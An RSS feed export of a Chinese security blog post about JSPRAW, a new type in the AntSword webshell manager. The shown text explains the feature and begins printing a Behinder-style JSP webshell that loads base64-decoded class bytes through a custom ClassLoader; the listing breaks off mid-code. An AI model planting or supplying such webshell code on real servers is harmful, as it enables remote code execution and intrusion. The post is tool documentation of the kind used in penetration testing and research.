<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>学蚁致用</title>
    <link>https://wechat2rss.xlab.app/feed/60eb4e7d17f9ac498bb307fa863e9fe4cec6fa1d.xml</link>
    <description>学习笔记，安全工具开发等，也许比较有趣，更新频率�看情况&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (学蚁致用)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM4Td7q88Ozh1rbJzxUMMIBibn00IYRPvrcL5z0BtPEPgzQ/0</url>
      <title>学蚁致用</title>
      <link>https://wechat2rss.xlab.app/feed/60eb4e7d17f9ac498bb307fa863e9fe4cec6fa1d.xml</link>
    </image>
    <item>
      <title>AntSword新增类型：JSPRAW的一些玩法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484614&amp;idx=1&amp;sn=97d5a5e57753a30d6bfb16f32027b9b5</link>
      <description>实战是检验真理的唯一标准。</description>
      <content:encoded><![CDATA[<p>
<span>yzddMr6</span> <span>2024-09-23 19:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>实战是检验真理的唯一标准。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=82299032&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQMPtOlswXn7vmnCwWHkva1rDx6WIV2sic4mzYZdiaia6kY9ic8XZGYRR5FQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">背景</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">最近给AntSword新增了一种类型：JSPRAW，主要有以下两点改进：</p><ul style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;letter-spacing: normal;text-align: start;text-wrap: wrap;margin-top: 6px !important;list-style-type: square !important;" class="list-paddingleft-1"><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">JSPRAW不再使用其他参数进行传参，同时支持key-value键值对以及raw传参形式</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">新增toString触发方式，Payload可以不用依赖外部request/response对象，兼容非HTTP场景</span></p></li></ul><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">接下来以几个实际场景讲讲这个新类型有哪些应用。</p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">具体应用</h2><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">一键连接冰蝎的JSP Shell</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">JSPRAW支持如下Shell写法，类似冰蝎，直接发送RAW格式的Payload。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">需要注意的是这时候设置密码是不生效的，随便填即可，另外需要在设置里勾选 其他设置-Body设置为RAW模式。如果不勾选的话就是键值对传参形式，可以兼容原来的Shell写法。</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;%!</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> U </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">extends</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        U</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> c</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">super</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">public</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> g</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">super</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">defineClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">length</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">public</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> base64Decode</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">throws</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Exception</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">try</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">forName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;sun.misc.BASE64Decoder&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[])</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;decodeBuffer&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">newInstance</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(),</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">catch</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Exception</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> e</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">forName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;java.util.Base64&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Object</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> decoder </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;getDecoder&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: 